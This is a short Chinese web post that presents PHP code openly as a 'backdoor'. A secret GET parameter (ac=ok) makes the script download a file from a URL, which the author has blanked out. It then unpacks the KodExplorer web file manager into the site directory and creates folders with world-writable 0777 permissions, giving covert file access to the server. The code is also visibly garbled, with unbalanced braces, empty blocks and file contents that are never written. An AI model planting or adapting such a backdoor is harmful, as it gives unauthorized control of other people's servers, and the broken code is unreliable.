后门 这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。

if($_GET[‘ac’]==“ok”){ echo ‘OK’;

function downFile($url,$path){
    $arr=parse_url($url);
    $fileName=basename($arr['path']);
    $file=file_get_contents($url);
}
downFile("这里是网络下载地址,防止小人,直接删除这里的连接");    
class Unzip{
    public function __construct(){
        header("content-type:text/html;charset=utf8");
    }
    public function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true){
        if ($zip = zip_open($src_file)){
            if ($zip){
                $splitter = ($create_zip_name_dir === true) ? "." : "/";
                if($dest_dir === false){

}

                $this->create_dirs($dest_dir);
                while ($zip_entry = zip_read($zip)){
                    $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
                    if ($pos_last_slash !== false){
                        $this->create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
                    }
                    if (zip_entry_open($zip,$zip_entry,"r")){
                        $file_name = $dest_dir.zip_entry_name($zip_entry);
                            if ($overwrite === true || $overwrite === false && !is_file($file_name)){
                                $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));

}

                        zip_entry_close($zip_entry);
                    }
                }
                zip_close($zip);
            }
        }else{
            return false;
        }
        return true;
    }
    public function create_dirs($path){
        if (!is_dir($path)){
            $directory_path = "";
            $directories = explode("/",$path);
            array_pop($directories);
            foreach($directories as $directory){
                $directory_path .= $directory."/";
                if (!is_dir($directory_path)){
                    mkdir($directory_path);
                    chmod($directory_path, 0777);
                }
            }
        }
    }
}
$z = new Unzip();
$z->unzip("kodexplorer4.39.zip",'./', true, false);
阅读剩余 0%
本站所有文章资讯、展示的图片素材等内容均为注册用户上传(部分报媒/平媒内容转载自网络合作媒体),仅供学习参考。 用户通过本站上传、发布的任何内容的知识产权归属用户或原始著作权人所有。如有侵犯您的版权,请联系我们反馈本站将在三个工作日内改正。